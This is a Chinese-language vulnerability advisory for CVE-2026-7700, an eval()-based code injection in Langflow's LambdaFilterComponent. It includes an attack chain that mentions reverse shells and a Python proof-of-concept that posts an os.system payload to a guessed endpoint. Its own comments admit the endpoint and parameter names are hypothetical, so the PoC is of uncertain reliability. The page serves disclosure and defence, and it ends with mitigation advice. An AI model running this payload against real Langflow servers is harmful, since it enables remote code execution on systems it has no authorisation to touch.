IPBUF安全漏洞报告
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CVE-2026-7700 CVSS 6.3 中危

CVE-2026-7700 Langflow代码注入漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-7700
漏洞类型
代码注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
langflow-ai langflow

相关标签

代码注入RCECVE-2026-7700LangflowEval注入

漏洞概述

langflow-ai langflow 1.8.4及之前版本存在代码注入漏洞。该漏洞源于LambdaFilterComponent组件中的eval函数未正确过滤用户输入,攻击者可通过网络发送恶意构造的数据,远程执行任意代码。目前漏洞利用代码已公开,厂商尚未响应。

技术细节

该漏洞位于langflow的LambdaFilterComponent组件中,具体受影响文件为src/lfx/src/lfx/components/llm_operations/lambda_filter.p。漏洞产生的根本原因是在处理Lambda表达式时,组件直接调用了Python不安全的eval()函数来执行用户提供的输入,且未实施严格的输入净化或沙箱环境隔离。攻击者可以利用这一缺陷,构造包含恶意Python代码的请求发送至服务器。由于攻击向量为网络(AV:N)且无需用户交互(UI:N),一旦请求被服务端接收并解析,eval函数将执行恶意代码,导致远程代码执行(RCE)。这不仅泄露了机密信息(C:L),还可能破坏数据完整性(I:L)和服务可用性(A:L)。

攻击链分析

STEP 1
侦察
攻击者扫描网络或端口,识别出运行langflow-ai langflow 1.8.4及以下版本的目标系统。
STEP 2
构造Payload
攻击者利用Python语法构造恶意代码,旨在通过eval()函数执行系统命令(如反弹Shell或写入文件)。
STEP 3
发送请求
攻击者向LambdaFilterComponent组件的接口发送特制的HTTP请求,将恶意代码注入到参数中。
STEP 4
代码执行
服务器端接收到请求后,LambdaFilterComponent调用eval()函数处理恶意输入,导致在服务器上下文中执行任意代码。
STEP 5
建立控制
成功执行代码后,攻击者获得服务器低权限访问,进而窃取数据、篡改文件或提升权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-7700: Langflow Code Injection import requests # Target URL (Hypothetical endpoint based on vulnerability) target_url = "http://<target-ip>:<port>/api/v1/components/lambda_filter" # Malicious payload to execute OS commands using eval() # This payload attempts to create a file as proof of execution payload = "__import__('os').system('echo CVE-2026-7700 > /tmp/pwned')" # Construct the payload data # The parameter name 'expression' is an example; actual parameter depends on implementation data = { "code": payload, "component_id": "LambdaFilterComponent" } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, json=data, headers=headers, timeout=10) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Payload potentially executed. Check target system.") else: print("[-] Request failed or blocked.") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

langflow-ai langflow <= 1.8.4

防御指南

临时缓解措施
建议立即检查langflow版本并升级至修复版本。若无法升级,应严格限制对Langflow实例的网络访问,仅允许可信IP连接。同时,部署Web应用防火墙(WAF)规则,检测并阻断包含常见Python危险函数(如__import__, os.system)的请求流量。由于厂商尚未响应,用户需格外关注此漏洞的利用情况。

参考链接

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